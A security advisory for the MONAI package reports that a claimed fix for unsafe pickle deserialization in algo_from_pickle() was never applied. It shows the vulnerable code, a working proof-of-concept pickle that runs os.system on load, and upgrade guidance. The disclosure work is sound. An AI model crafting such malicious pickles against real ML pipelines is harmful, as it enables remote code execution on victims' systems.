GHSA-qxq5-qhx6-94qw: High severity pip/monai vulnerability
Summary
GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algofrompickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.
## Vulnerable Code
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
python def algofrompickle(pklfilename: str, ...): with open(pklfilename, "rb") as fpi: databytes = fpi.read() data = pickle.loads(databytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algobytes = data.pop("algobytes") ... if len(templatepathscandidates) == 0: algo = pickle.loads(algobytes) # SINK 2 — line 350 else: for p in templatepathscandidates: algo = pickle.loads(algobytes) # SINK 3 — line 356
No Unpickler subclass, no findclass restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8") - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356 - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit: def reduce(self): return (os.system, ('id > /tmp/rceproof.txt',))
# Craft malicious pkl data = {"algobytes": pickle.dumps(Exploit()), "templatepath": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algobytes"]) # SINK 2 fires
print(open("/tmp/rceproof.txt").read()) # uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algofrompickle(): desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algofrompickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/monaito a version that resolves this vulnerability.Fixed in 1.6.0
Event History
Frequently Asked Questions
Which released versions are confirmed to still contain the issue?
Version 1.5.2 is confirmed affected: the relevant utility file was unchanged and still contains the unsafe deserialization calls. Versions 1.5.1 and 1.5.2 are described as containing identical code in this area.
What must an attacker control for exploitation to occur?
Exploitation requires a user to invoke algo_from_pickle() with attacker-controlled pickle content. The deserialization occurs before the subsequent type and key checks, so those checks do not prevent code execution from a malicious pickle.
How can I determine whether my installed source contains the vulnerable behavior?
Inspect monai/auto3dseg/utils.py for direct pickle.loads() calls in algo_from_pickle(), including the initial load of data_bytes and the later loads of algo_bytes. In the versions identified, there are three such calls and no restricted Unpickler or class allowlist.
What can be done if a verified fix is not yet available?
No temporary mitigation or configuration-based protection is provided in the available data. Avoid processing untrusted pickle files through algo_from_pickle() until a verified remediation is available.